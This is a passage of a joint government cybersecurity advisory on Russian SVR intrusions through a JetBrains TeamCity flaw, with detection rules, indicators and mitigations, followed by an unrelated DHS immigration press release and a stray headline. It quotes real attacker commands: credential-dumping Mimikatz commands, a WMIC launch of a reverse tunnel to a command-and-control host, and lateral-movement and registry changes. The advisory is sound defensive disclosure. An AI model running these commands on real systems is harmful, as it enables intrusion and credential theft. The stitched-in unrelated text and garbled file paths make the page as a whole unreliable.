After the SVR built a secure foothold and gained an awareness of a victim’s TeamCity server, it then focused on network reconnaissance [T1590.004]. The SVR performed network reconnaissance using a mix of built-in commands and additional tools, such as port scanner and PowerSploit, which it launched into memory [T1046]. The SVR executed the following PowerSploit commands:

  • Get-NetComputer
  • Get-NetGroup
  • Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount”
  • Get-NetDiDomain
  • Get-AdUser
  • Get-DomainUser -UserName
  • Get-NetUser -PreauthNotRequire
  • Get-NetComputer | select samaccountname
  • Get-NetUser -SPN | select serviceprincipalname

Tunneling into Compromised Environments

In selected environments the SVR used an additional tool named, “rr.exe”—a modified open source reverse socks tunneler named Rsockstun—to establish a tunnel to the C2 infrastructure [T1572].

The authoring agencies are aware of the following infrastructure used in conjunction with “rr.exe”:

  • 65.20.97[.]203:443
  • Poetpages[.]com:8443

The SVR executed Rsockstun either in memory or using the Windows Management Instrumentation Command Line (WMIC) [T1047] utility after dropping it to disk:

  • wmic process call create “C:Program FilesWindows Defender Advanced Threat ProtectionSense.exe -connect poetpages.com -pass M554-0sddsf2@34232fsl45t31”

Lateral Movement

The SVR used WMIC to facilitate lateral movement [T1047],[T1210].

  • wmic /node:””“” /user:””” /password:””“” process call create “”rundll32 C:Windowssystem32AclNumsInvertHost.dll AclNumsInvertHost””

The SVR also modified DisableRestrictedAdmin key to enable remote connections [T1210].

It modified Registry using the following reg command:

  • reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa /v DisableRestrictedAdmin /t REG_DWORD /d “0” /f

Adversary Toolset

In the course of the TeamCity operation, the SVR used multiple custom and open source available tools and backdoors. The following custom tools were observed in use during the operation:

  • GraphicalProton is a simplistic backdoor that uses OneDrive, Dropbox, and randomly generated BMPs [T1027.001] to exchange data with the SVR operator.
  • After execution, GraphicalProton gathers environment information such as active TCP/UDP connections [T1049], running processes [T1049], as well as user, host, and domain names [T1590]. OneDrive is used as a primary communication channel while Dropbox is treated as a backup channel [T1567]. API keys are hardcoded into the malware. When communicating with cloud services, GraphicalProton generates a randomly named directory which is used to store infection-specific BMP files – with both commands and results [T1564.001]. Directory name is re-randomized each time the GraphicalProton process is started.
  • BMP files that were used to exchange data were generated in the following way:
  1. Compress data using zlib,
  2. Encrypt data using custom algorithm,
  3. Add “***” string literal to encrypted data,
  4. Create a random BMP with random rectangle,
  5. And finally, encode encrypted data within lower pixel bits.

While the GraphicalProton backdoor has remained mostly unchanged over the months we have been tracking it, to avoid detection the adversary wrapped the tool in various different layers of obfuscation, encryption, encoders, and stagers. Two specific variants of GraphicalProton “packaging” are especially noteworthy – a variant that uses DLL hijacking [T1574.002] in Zabbix as a means to start execution (and potentially provide long-term, hard-to-detect access) and a variant that masks itself within vcperf [T1036], an open-source C++ build analysis tool from Microsoft.

  • GraphicalProton HTTPS variant – a variant of GraphicalProton backdoor recently introduced by the SVR that forgoes using cloud-based services as a C2 channel and instead relies on HTTP request.
    To legitimize the C2 channel, SVR used a re-registered expired domain set up with dummy WordPress website. Execution of HTTPS variant of GraphicalProton is split into two files – stager and encrypted binary file that contains further code.

MITRE ATT&CK TACTICS AND TECHNIQUES

See below tables for all referenced threat actor tactics and techniques in this advisory. For additional mitigations, see the Mitigations section.

Table 1: SVR Cyber Actors ATT&CK Techniques for Enterprise – Reconnaissance
Technique Title ID Use

Gather Victim Network Information: Network Topology

T1046

SVR cyber actors may gather information about the victim’s network topology that can be used during targeting.

Gather Victim Host Information: Software

T1592.002

SVR cyber actors may gather information about the victim’s host networks that can be used during targeting.

Table 2: SVR Cyber Actors’ ATT&CK Techniques for Enterprise – Initial Access
Technique Title ID Use

Exploit Public-Facing Application

T1190

SVR cyber actors exploit internet-connected JetBrains TeamCity server using CVE-2023-42793 for initial access.

Table 3: SVR Cyber Actors’ ATT&CK Techniques for Enterprise: Execution
Technique Title ID Use

Command and Scripting Interpreter: PowerShell

T1059.001

SVR cyber actors used powershell commands to compress Microsoft SQL server .dll files.

Command and Scripting Interpreter: Windows Command Shell

T1059.003

SVR cyber actors execute these powershell commands to perform host reconnaissance:

  • powershell ([adsisearcher]”((samaccountname=))”).Findall().Properties
  • powershell ([adsisearcher]”((samaccountname=))”).Findall().Properties.memberof
  • powershell Get-WmiObject -Class Win32_Service -Computername
  • powershell Get-WindowsDriver -Online -All

Exploitation for Client Execution

T1203

SVR cyber actors leverage arbitrary code execution after exploiting CVE-2023-42793.

Hijack Execution Flow: DLL Side-Loading

T1574.002

SVR cyber actors use a variant of GraphicalProton that uses DLL hijacking in Zabbix as a means to start execution.

Table 4: SVR Cyber Actors’ ATT&CK Techniques for Enterprise: Persistence
Technique Title ID Use

Scheduled Task

T1053.005

SVR cyber actors may abuse Windows Task Schedule to perform task scheduling for initial or recurring execution of malicious code.

Server Software Component: SQL Stored Procedures

T1505.001

SVR cyber actors abuse SQL server stored procedures to maintain persistence.

Boot or Logon Autostart Execution

T1547

SVR cyber actors used C:Windowssystem32ntoskrnl.exe to configure automatic system boot settings to maintain persistence.

Table 5: SVR Cyber Actors’ ATT&CK Techniques for Enterprise: Privilege Escalation
Technique Title ID Use

Exploitation for Privilege Escalation

T1068

SVR cyber actors exploit JetBrains TeamCity vulnerability to achieve escalated privileges.

To avoid detection, the SVR cyber actors used a “Bring Your Own Vulnerable Driver”  technique to disable EDR and AV defense mechanisms.

Account Manipulation

T1098

SVR cyber actors may manipulate accounts to maintain and/or elevate access to victim systems.

Table 6: SVR Cyber Actors’ ATT&CK Techniques for Enterprise: Defense Evasion
Technique Title ID Use

Obfuscated Files or Information: Binary Padding

T1027.001

SVR cyber actors use BMPs to perform binary padding while exchange data is exfiltrated to an their C2 station.

Masquerading

T1036

SVR cyber actors use a variant that uses DLL hijacking in Zabbix as a means to start execution (and potentially provide long-term, hard-to-detect access) and a variant that masks itself within vcperf, an open-source C++ build analysis tool from Microsoft.

Process Injection

T1055

SVR cyber actors inject code into AV and EDR processes to evade defenses.

Disable or Modify Tools

T1562.001

SVR cyber actors may modify and/or disable tools to avoid possible detection of their malware/tools and activities.

Hide Artifacts

T1564

SVR cyber actors may attempt to hide artifacts associated with their behaviors to evade detection.

Hide Artifacts: Hidden Files and Directories

T1564.001

When communicating with cloud services, GraphicalProton generates a randomly named directory which is used to store infection-specific BMP files – with both commands and results.

Table 7: SVR Cyber actors’ ATT&CK Techniques for Enterprise: Credential Access
Technique Title ID Use

OS Credential Dumping: LSASS Memory

T1003.001

SVR cyber actors executed Mimikatz commands in memory to gain access to credentials stored in memory.

OS Credential Dumping: Security Account Manager

T1003.002

SVR cyber actors used:

  • privilege::debug
  • lsadump::cache
  • lsadump::secrets
  • lsadump::sam
  • sekurlsa::logonpasswords

Mimikatz commands to gain access to credentials.

Additionally, SVR cyber actors exfiltrated Windows registry hives to steal credentials.

  • HKLMSYSTEM
  • HKLMSAM
  • HKLMSECURITY

Credentials from Password Stores: Credentials from Web Browsers

T1555.003

In a few specific cases, the SVR used the SharpChromium tool to obtain sensitive browser data such as session cookies, browsing history, or saved logins.

Steal or Forge Kerberos Tickets: Golden Ticket

T1558.001

To secure long-term access to the environment, the SVR used the Rubeus toolkit to craft Ticket Granting Tickets (TGTs).

Table 8: SVR Cyber Actors ATT&CK Techniques for Enterprise: Discovery
Technique Title ID Use

System Owner/User Discovery

T1033

SVR cyber actors use these built-in commands to perform host reconnaissance: whoami /priv, whoami / all, whoami / groups, whoami / domain to perform user discovery.

Process Discovery

T1057

SVR cyber actors use GraphicalProton to gather running processes data.

Gather Victim Network Information

T1590

SVR cyber actors use GraphicalProton to gather victim network information.

Table 9: SVR Cyber Actors ATT&CK Techniques for Enterprise: Lateral Movement
Technique Title ID Use

Exploitation of Remote Services

T1210

SVR cyber actors may exploit remote services to gain unauthorized access to internal systems once inside a network.

Windows Management Instrumentation

T1047

SVR cyber actors executed Rsockstun either in memory or using Windows Management Instrumentation (WMI) to execute malicious commands and payloads.

wmic process call create “C:Program FilesWindows Defender Advanced Threat ProtectionSense.exe -connect poetpages.com -pass M554-0sddsf2@34232fsl45t31”

Table 10: SVR Cyber Actors ATT&CK Techniques for Enterprise: Command and Control
Technique Title ID Use

Dynamic Resolution

T1568

SVR may dynamically establish connections to command-and-control infrastructure to evade common detections and remediations.

Protocol Tunneling

T1572

SVR cyber actors may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems.

In selected environments, the SVR used an additional tool named, “rr.exe”—a modified open source reverse socks tunneler named Rsockstunm—to establish a tunnel to the C2 infrastructure.

Table 11: SVR Cyber Actors ATT&CK Techniques for Enterprise: Exfiltration
Technique Title ID Use

Automated Exfiltration

T1020

SVR cyber actors may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during collection.

Exfiltration Over C2 Channel

T1041

SVR cyber actors may steal data by exfiltrating it over an existing C2 channel. Stolen data is encoded into normal communications using the same protocol as C2 communications.

Exfiltration Over Web Service

T1567

SVR cyber actors use OneDrive and Dropbox to exfiltrate data to their C2 station.

INDICATORS OF COMPROMISE

Note: Please refer to Appendix B for a list of IOCs.

VICTIM TYPES

As a result of this latest SVR cyber activity, the FBI, CISA, NSA, SKW, CERT Polska, and NCSC have identified a few dozen compromised companies in the United States, Europe, Asia, and Australia, and are aware of over a hundred compromised devices though we assess this list does not represent the full set of compromised organizations. Generally, the victim types do not fit into any sort of pattern or trend, aside from having an unpatched, Internet-reachable JetBrains TeamCity server, leading to the assessment that SVR’s exploitation of these victims’ networks was opportunistic in nature and not necessarily a targeted attack. Identified victims included: an energy trade association; companies that provide software for billing, medical devices, customer care, employee monitoring, financial management, marketing, sales, and video games; as well as hosting companies, tools manufacturers, and small and large IT companies.

DETECTION METHODS

The following rules can be used to detect activity linked to adversary activity. These rules should serve as examples and adapt to each organization’s environment and telemetry.

SIGMA Rules

title: Privilege information listing via whoami
description: Detects whoami.exe execution and listing of privileges
author: 
references: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami
date: 2023/11/15
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
          - 'whoami.exe'
        CommandLine|contains:
          - 'priv'
          - 'PRIV'
    condition: selection
falsepositives: legitimate use by system administrator

title: DC listing via nltest
description: Detects nltest.exe execution and DC listing
author: 
references:
date: 2023/11/15
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
          - 'nltest.exe'
        CommandLine|re: '.*dclist:.*|.*DCLIST:.*|.*dsgetdc:.*|.*DSGETDC:.*'
    condition: selection
falsepositives: legitimate use by system administrator

title: DLL execution via WMI
description: Detects DLL execution via WMI
author: 
references:
date: 2023/11/15
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
          - 'WMIC.exe'
        CommandLine|contains|all:
          - 'call'
          - 'rundll32'
    condition: selection
falsepositives: legitimate use by software or system administrator

title: Process with connect and pass as args
description: Process with connect and pass as args
author:
references:
date: 2023/11/15
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
          - 'pass'
          - 'connect'
    condition: selection
falsepositives: legitimate use of rsockstun or software with exact same arguments

title: Service or Drive enumeration via powershell
description: Service or Drive enumeration via powershell 
author: 
references:
date: 2023/11/15
logsource:
    category: ps_script
    product: windows
detection:
    selection_1:
            ScriptBlockText|contains|all:
            - 'Get-WmiObject'
            - '-Class'
            - 'Win32_Service'
    selection_2:
            ScriptBlockText|contains|all:
            - 'Get-WindowsDriver'
            - '-Online'
            - '-All'
    condition: selection_1 or selection_2
falsepositives: legitimate use by system administrator

title: Compressing files from temp to temp
description: Compressing files from temp to temp used by SVR to prepare data to be exfiltrated
references:
author: 
date: 2023/11/15
logsource:
    category: ps_script
    product: windows
detection:
    selection:
        ScriptBlockText|re: '.*Compress-Archive.*Path.*Windows\[Tt]{1}emp\[1-9]{1}.*DestinationPath.*Windows\[Tt]{1}emp\.*'
    condition: selection

title: DLL names used by SVR for GraphicalProton backdoor
description: Hunts for known SVR-specific DLL names.
references:
author: 
date: 2023/11/15
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith:
          - 'AclNumsInvertHost.dll'
          - 'ModeBitmapNumericAnimate.dll'
          - 'UnregisterAncestorAppendAuto.dll'
          - 'DeregisterSeekUsers.dll'
          - 'ScrollbarHandleGet.dll'
          - 'PerformanceCaptionApi.dll'
          - 'WowIcmpRemoveReg.dll'
          - 'BlendMonitorStringBuild.dll'
          - 'HandleFrequencyAll.dll'
          - 'HardSwapColor.dll'
          - 'LengthInMemoryActivate.dll'
          - 'ParametersNamesPopup.dll'
          - 'ModeFolderSignMove.dll'
          - 'ChildPaletteConnected.dll'
          - 'AddressResourcesSpec.dll'
    condition: selection

title: Sensitive registry entries saved to file
description: Sensitive registry entries saved to file
author: 
references:
date: 2023/11/15
logsource:
    category: process_creation
    product: windows
detection:
    selection_base:
        Image|endswith:
          - 'reg.exe'
        CommandLine|contains: 'save'
        CommandLine|re: '.*HKLM\SYSTEM.*|.*HKLM\SECURITY.*|.*HKLM\SAM.*'
    selection_file:
      CommandLine|re: '.*sy.sa.*|.*sam.sa.*|.*se.sa.*'
    condition: selection_base and selection_file

title: Scheduled tasks names used by SVR for GraphicalProton backdoor
description: Hunts for known SVR-specific scheduled task names
author: 
references: 
date: 2023/11/15
logsource:
    category: taskscheduler
    product: windows
detection:
    selection:
        EventID:
          - 4698
          - 4699
          - 4702
        TaskName:
          - 'MicrosoftWindowsIISUpdateService'
          - 'MicrosoftWindowsWindowsDefenderService'
          - 'MicrosoftWindowsWindowsDefenderService2'
          - 'MicrosoftDefenderService'
          - 'MicrosoftWindowsDefenderUPDService'
          - 'MicrosoftWindowsWiMSDFS'
          - 'MicrosoftWindowsApplication ExperienceStartupAppTaskCkeck'
          - 'MicrosoftWindowsWindows Error ReportingSubmitReporting'
          - 'MicrosoftWindowsWindows DefenderDefender Update Service'
          - 'WindowUpdate'
          - 'MicrosoftWindowsWindows Error ReportingCheckReporting'
          - 'MicrosoftWindowsApplication ExperienceStartupAppTaskCheck'
          - 'MicrosoftWindowsSpeechSpeechModelInstallTask'
          - 'MicrosoftWindowsWindows Filtering PlatformBfeOnServiceStart'
          - 'MicrosoftWindowsData Integrity ScanData Integrity Update'
          - 'MicrosoftWindowsWindowsUpdateScheduled AutoCheck'
          - 'MicrosoftWindowsATPUpd'
          - 'MicrosoftWindowsWindows DefenderService Update'
          - 'MicrosoftWindowsWindowsUpdateScheduled Check'
          - 'MicrosoftWindowsWindowsUpdateScheduled AutoCheck'
          - 'Defender'
          - 'defender'
          - '\Microsoft\Windows\IISUpdateService'
          - '\Microsoft\Windows\WindowsDefenderService'
          - '\Microsoft\Windows\WindowsDefenderService2'
          - '\Microsoft\DefenderService'
          - '\Microsoft\Windows\DefenderUPDService'
          - '\Microsoft\Windows\WiMSDFS'
          - '\Microsoft\Windows\Application Experience\StartupAppTaskCkeck'
          - '\Microsoft\Windows\Windows Error Reporting\SubmitReporting'
          - '\Microsoft\Windows\Windows Defender\Defender Update Service'
          - '\WindowUpdate'
          - '\Microsoft\Windows\Windows Error Reporting\CheckReporting'
          - '\Microsoft\Windows\Application Experience\StartupAppTaskCheck'
          - '\Microsoft\Windows\Speech\SpeechModelInstallTask'
          - '\Microsoft\Windows\Windows Filtering Platform\BfeOnServiceStart'
          - '\Microsoft\Windows\Data Integrity ScanData Integrity Update'
          - '\Microsoft\Windows\WindowsUpdate\Scheduled AutoCheck'
          - '\Microsoft\Windows\ATPUpd'
          - '\Microsoft\Windows\Windows Defender\Service Update'
          - '\Microsoft\Windows\WindowsUpdate\Scheduled Check'
          - '\Microsoft\Windows\WindowsUpdate\Scheduled AutoCheck'
          - '\Defender'
          - '\defender'
    condition: selection

title: Scheduled tasks names used by SVR for GraphicalProton backdoor
description: Hunts for known SVR-specific scheduled task names
author: 
references:
date: 2023/11/15
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
          - 'schtasks.exe'
        CommandLine|contains:
          - 'IISUpdateService'
          - 'WindowsDefenderService'
          - 'WindowsDefenderService2'
          - 'DefenderService'
          - 'DefenderUPDService'
          - 'WiMSDFS'
          - 'StartupAppTaskCkeck'
          - 'SubmitReporting'
          - 'Defender Update Service'
          - 'WindowUpdate'
          - 'CheckReporting'
          - 'StartupAppTaskCheck'
          - 'SpeechModelInstallTask'
          - 'BfeOnServiceStart'
          - 'Data Integrity Update'
          - 'Scheduled AutoCheck'
          - 'ATPUpd'
          - 'Service Update'
          - 'Scheduled Check'
          - 'Scheduled AutoCheck'
          - 'Defender'
          - 'defender'
    selection_re:
        Image|endswith:
          - 'schtasks.exe'
        CommandLine|re:
          - '.*DefendersUpdatesService.*'
          - '.*DatasIntegritysUpdate.*'
          - '.*ScheduledsAutoCheck.*'
          - '.*ServicesUpdate.*'
          - '.*ScheduledsCheck.*'
          - '.*ScheduledsAutoCheck.*'
    condition: selection or selection_re

title: Suspicious registry modifications
description: Suspicious registry modifications
author: 
references:
date: 2023/11/15
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        EventID: 4657
        TargetObject|contains:
          - 'CurrentControlSet\Control\Lsa\DisableRestrictedAdmin'
          - 'CurrentControlSet\Control\Lsa\NoLmHash'
    condition: selection

title: Registry modification from cmd
description: Registry modification from cmd
author: 
references:
date: 2023/11/15
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
          - 'reg.exe'
        CommandLine|contains|all:
          - 'CurrentControlSet'
          - 'Lsa'
        CommandLine|contains:
          - 'DisableRestrictedAdmin'
          - 'NoLmHash'
    condition: selection

title: Malicious Driver Load
description: Detects the load of known malicious drivers via their names or hash.
references:
    - https://github.com/wavestone-cdt/EDRSandblast#edr-drivers-and-processes-detection
author: 
date: 2023/11/15
logsource:
    category: driver_load
    product: windows
detection:
    selection_name:
        ImageLoaded|endswith:
            - 'RTCore64.sys'
            - 'DBUtils_2_3.sys'
    selection_hash:
        Hashes|contains:
            - '01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd'
            - '0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5'
    condition: selection_name or selection_hash

YARA rules

The following rule detects most known GraphicalProton variants.

rule APT29_GraphicalProton {
    strings:
        // C1 E9 1B                                shr     ecx, 1Bh
        // 48 8B 44 24 08                          mov     rax, [rsp+30h+var_28]
        // 8B 50 04                                mov     edx, [rax+4]
        // C1 E2 05                                shl     edx, 5
        // 09 D1                                   or      ecx, edx
        // 48 8B 44 24 08                          mov     rax, [rsp+30h+var_28]
        $op_string_crypt = { c1 e? (1b | 18 | 10 | 13 | 19 | 10) 48 [4] 8b [2] c1 e? (05 | 08 | 10 | 0d | 07) 09 ?? 48 }

        // 48 05 20 00 00 00                       add     rax, 20h ; ' '
        // 48 89 C1                                mov     rcx, rax
        // 48 8D 15 0A A6 0D 00                    lea     rdx, unk_14011E546
        // 41 B8 30 00 00 00                       mov     r8d, 30h ; '0'
        // E8 69 B5 FE FF                          call    sub_14002F4B0
        // 48 8B 44 24 30                          mov     rax, [rsp+88h+var_58]
        // 48 05 40 00 00 00                       add     rax, 40h ; '@'
        // 48 89 C1                                mov     rcx, rax
        // 48 8D 15 1B A6 0D 00                    lea     rdx, unk_14011E577
        // 41 B8 70 01 00 00                       mov     r8d, 170h
        // E8 49 B5 FE FF                          call    sub_14002F4B0
        // 48 8B 44 24 30                          mov     rax, [rsp+88h+var_58]
        // 48 05 60 00 00 00                       add     rax, 60h ; '`'
        // 48 89 C1                                mov     rcx, rax
        // 48 8D 15 6C A7 0D 00                    lea     rdx, unk_14011E6E8
        // 41 B8 2F 00 00 00                       mov     r8d, 2Fh ; '/'
        // E8 29 B5 FE FF                          call    sub_14002F4B0
        // 48 8B 44 24 30                          mov     rax, [rsp+88h+var_58]
        // 48 05 80 00 00 00                       add     rax, 80h
        // 48 89 C1                                mov     rcx, rax
        // 48 8D 15 7C A7 0D 00                    lea     rdx, unk_14011E718
        // 41 B8 2F 00 00 00                       mov     r8d, 2Fh ; '/'
        // E8 09 B5 FE FF                          call    sub_14002F4B0
        // 48 8B 44 24 30                          mov     rax, [rsp+88h+var_58]
        // 48 05 A0 00 00 00                       add     rax, 0A0h
        $op_decrypt_config = {
            48 05 20 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4]
            48 05 40 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4]
            48 05 60 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4]
            48 05 80 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4]
            48 05 A0 00 00 00
        }

    condition:
        all of them
}

MITIGATIONS

The FBI, CISA, NSA, SKW, CERT Polska, and NCSC assess the scope and indiscriminate targeting of this campaign poses a threat to public safety and recommend organizations implement the mitigations below to improve organization’s cybersecurity posture. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

  • Apply available patches for CVE-2023-42793 issued by JetBrains TeamCity in mid-September 2023, if not already completed.
  • Monitor the network for evidence of encoded commands and execution of network scanning tools.
  • Ensure host-based anti-virus/endpoint monitoring solutions are enabled and set to alert if monitoring or reporting is disabled, or if communication is lost with a host agent for more than a reasonable amount of time.
  • Require use of multi-factor authentication [CPG 1.3] for all services to the extent possible, particularly for email, virtual private networks, and accounts that access critical systems.
    • Organizations should adopt multi-factor authentication (MFA) as an additional layer of security for all users with access to sensitive data. Enabling MFA significantly reduces the risk of unauthorized access, even if passwords are compromised.
  • Keep all operating systems, software, and firmware up to date. Immediately configure newly-added systems to the network, including those used for testing or development work, to follow the organization’s security baseline and incorporate into enterprise monitoring tools.
  • Audit log files to identify attempts to access privileged certificates and creation of fake identity providers.
  • Deploy software to identify suspicious behavior on systems.
  • Deploy endpoint protection systems with the ability to monitor for behavioral indicators of compromise.
  • Use available public resources to identify credential abuse with cloud environments.
  • Configure authentication mechanisms to confirm certain user activities on systems, including registering new devices.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see previous tables).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

APPENDIX A – INDICATORS OF COMPROMISE CVE-2023-42793

On a Windows system, the log file C:TeamCitylogsteamcity-server.log will contain a log message when an attacker modified the internal.properties file. There will also be a log message for every process created via the /app/rest/debug/processes endpoint. In addition to showing the command line used, the user ID of the user account whose authentication token was used during the attack is also shown. For example:

[2023-09-26 11:53:46,970]   INFO - ntrollers.FileBrowseController - File edited: C:ProgramDataJetBrainsTeamCityconfiginternal.properties by user with id=1
[2023-09-26 11:53:46,970]   INFO - s.buildServer.ACTIVITIES.AUDIT - server_file_change: File C:ProgramDataJetBrainsTeamCityconfiginternal.properties was modified by "user with id=1"
[2023-09-26 11:53:58,227]   INFO - tbrains.buildServer.ACTIVITIES - External process is launched by user user with id=1. Command line: cmd.exe "/c whoami"

An attacker may attempt to cover their tracks by wiping this log file. It does not appear that TeamCity logs individual HTTP requests, but if TeamCity is configured to sit behind a HTTP proxy, the HTTP proxy may have suitable logs showing the following target endpoints being accessed:

  • /app/rest/users/id:1/tokens/RPC2 – This endpoint is required to exploit the vulnerability.
  • /app/rest/users – This endpoint is only required if the attacker wishes to create an arbitrary user.
  • /app/rest/debug/processes – This endpoint is only required if the attacker wishes to create an arbitrary process.

Note: The user ID value may be higher than 1.

APPENDIX B – IOCS

File IoCs

GraphicalProton backdoor:

  • 01B5F7094DE0B2C6F8E28AA9A2DED678C166D615530E595621E692A9C0240732
  • 34C8F155601A3948DDB0D60B582CFE87DE970D443CC0E05DF48B1A1AD2E42B5E
  • 620D2BF14FE345EEF618FDD1DAC242B3A0BB65CCB75699FE00F7C671F2C1D869
  • 773F0102720AF2957859D6930CD09693824D87DB705B3303CEF9EE794375CE13
  • 7B666B978DBBE7C032CEF19A90993E8E4922B743EE839632BFA6D99314EA6C53
  • 8AFB71B7CE511B0BCE642F46D6FC5DD79FAD86A58223061B684313966EFEF9C7
  • 971F0CED6C42DD2B6E3EA3E6C54D0081CF9B06E79A38C2EDE3A2C5228C27A6DC
  • CB83E5CB264161C28DE76A44D0EDB450745E773D24BEC5869D85F69633E44DCF
  • CD3584D61C2724F927553770924149BB51811742A461146B15B34A26C92CAD43
  • EBE231C90FAD02590FC56D5840ACC63B90312B0E2FEE7DA3C7606027ED92600E
  • F1B40E6E5A7CBC22F7A0BD34607B13E7E3493B8AAD7431C47F1366F0256E23EB
  • C7B01242D2E15C3DA0F45B8ADEC4E6913E534849CDE16A2A6C480045E03FBEE4
  • 4BF1915785D7C6E0987EB9C15857F7AC67DC365177A1707B14822131D43A6166

GraphicalProton HTTPS backdoor:

  • 18101518EAE3EEC6EBE453DE4C4C380160774D7C3ED5C79E1813013AC1BB0B93
  • 19F1EF66E449CF2A2B0283DBB756850CCA396114286E1485E35E6C672C9C3641
  • 1E74CF0223D57FD846E171F4A58790280D4593DF1F23132044076560A5455FF8
  • 219FB90D2E88A2197A9E08B0E7811E2E0BD23D59233287587CCC4642C2CF3D67
  • 92C7693E82A90D08249EDEAFBCA6533FED81B62E9E056DEC34C24756E0A130A6
  • B53E27C79EED8531B1E05827ACE2362603FB9F77F53CEE2E34940D570217CBF7
  • C37C109171F32456BBE57B8676CC533091E387E6BA733FBAA01175C43CFB6EBD
  • C40A8006A7B1F10B1B42FDD8D6D0F434BE503FB3400FB948AC9AB8DDFA5B78A0
  • C832462C15C8041191F190F7A88D25089D57F78E97161C3003D68D0CC2C4BAA3
  • F6194121E1540C3553273709127DFA1DAAB96B0ACFAB6E92548BFB4059913C69

Backdoored vcperf:

  • D724728344FCF3812A0664A80270F7B4980B82342449A8C5A2FA510E10600443

Backdoored Zabbix installation archive:

  • 4EE70128C70D646C5C2A9A17AD05949CB1FBF1043E9D671998812B2DCE75CF0F

Backdoored Webroot AV installation archive:

  • 950ADBAF66AB214DE837E6F1C00921C501746616A882EA8C42F1BAD5F9B6EFF4

Modified rsockstun

  • CB83E5CB264161C28DE76A44D0EDB450745E773D24BEC5869D85F69633E44DCF

Network IoCs

Tunnel Endpoints

  • 65.20.97[.]203
  • 65.21.51[.]58

Exploitation Server

  • 103.76.128[.]34

GraphicalProton HTTPS C2 URL:

hxxps://matclick[.]com/wp-query[.]php

DHS Publishes Federal Register Notice Announcing the Extensions of Re-Registration Periods for Temporary Protected Status for El Salvador, Haiti, Honduras, Nepal, Nicaragua and Sudan

Source: US Department of Homeland Security

WASHINGTON – Consistent with its September announcement, the Department of Homeland Security today published a Federal Register notice reiterating the extensions of the periods to re-register for Temporary Protected Status (TPS) under the existing designations of El Salvador, Haiti, Honduras, Nepal, Nicaragua, and Sudan. As previously announced, the re-registration period for each country is changing from 60 days to the full length of each country’s current TPS designation extension.

The 18-month re-registration period for current TPS beneficiaries under the designation of:

  • El Salvador is currently open and now runs through March 9, 2025;
  • Haiti is currently open and now runs through Aug. 3, 2024;
  • Honduras is currently open and runs through July 5, 2025;
  • Nepal is currently open and runs through June 24, 2025;
  • Nicaragua is currently open and runs through July 5, 2025; and
  • Sudan is currently open and now runs through April 19, 2025.

Extending re-registration allows current TPS beneficiaries to submit Form I-821, Application for Temporary Protected Status, at any time during the full extensions of the TPS designations of these six countries. They also may submit Form I-765, Application for Employment Authorization, to obtain an Employment Authorization Document, if desired, during the full extension period. This announcement does not change the previously announced extensions of the TPS designations for these six countries, and it does not change the eligibility requirements. This re-registration extension is solely for TPS beneficiaries who properly filed for TPS during a previous registration period.

Secretary of Homeland Security Alejandro N. Mayorkas previously announced on June 13, 2023, that he would rescind the previous administration’s terminations of TPS designations for El Salvador, Honduras, Nepal and Nicaragua and extend the TPS designations for these countries for 18 months. Re-registration periods under these TPS designations were initially set at 60 days; however, DHS reevaluated the length of the re-registration period due to the unique circumstances surrounding these designations. On Sept. 8, 2023, DHS announced the extension of the re-registration periods for these six TPS designations to the full length of the TPS designation extension.

Limiting the re-registration period to 60 days for these particular beneficiaries might place a burden on applicants who cannot timely file, but who otherwise would be eligible to re-register for TPS. In particular, ongoing litigation resulted in overlapping periods of TPS validity that were announced in several Federal Register notices, which may confuse some current beneficiaries. This notice allows beneficiaries of these countries who have not been required to re-register for TPS for the past few years due to litigation to re-register through the entire designation extension period.

The Federal Register notice does not change the previously announced extensions of the TPS designations for these six countries. It does not change the eligibility requirements or add any newly eligible beneficiaries. It simply extends the period when existing beneficiaries may re-register for their benefits.

For more information on USCIS and its programs, please visit uscis.gov or follow us on TwitterInstagramYouTubeFacebook and LinkedIn.

Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns

Source: US Department of Homeland Security

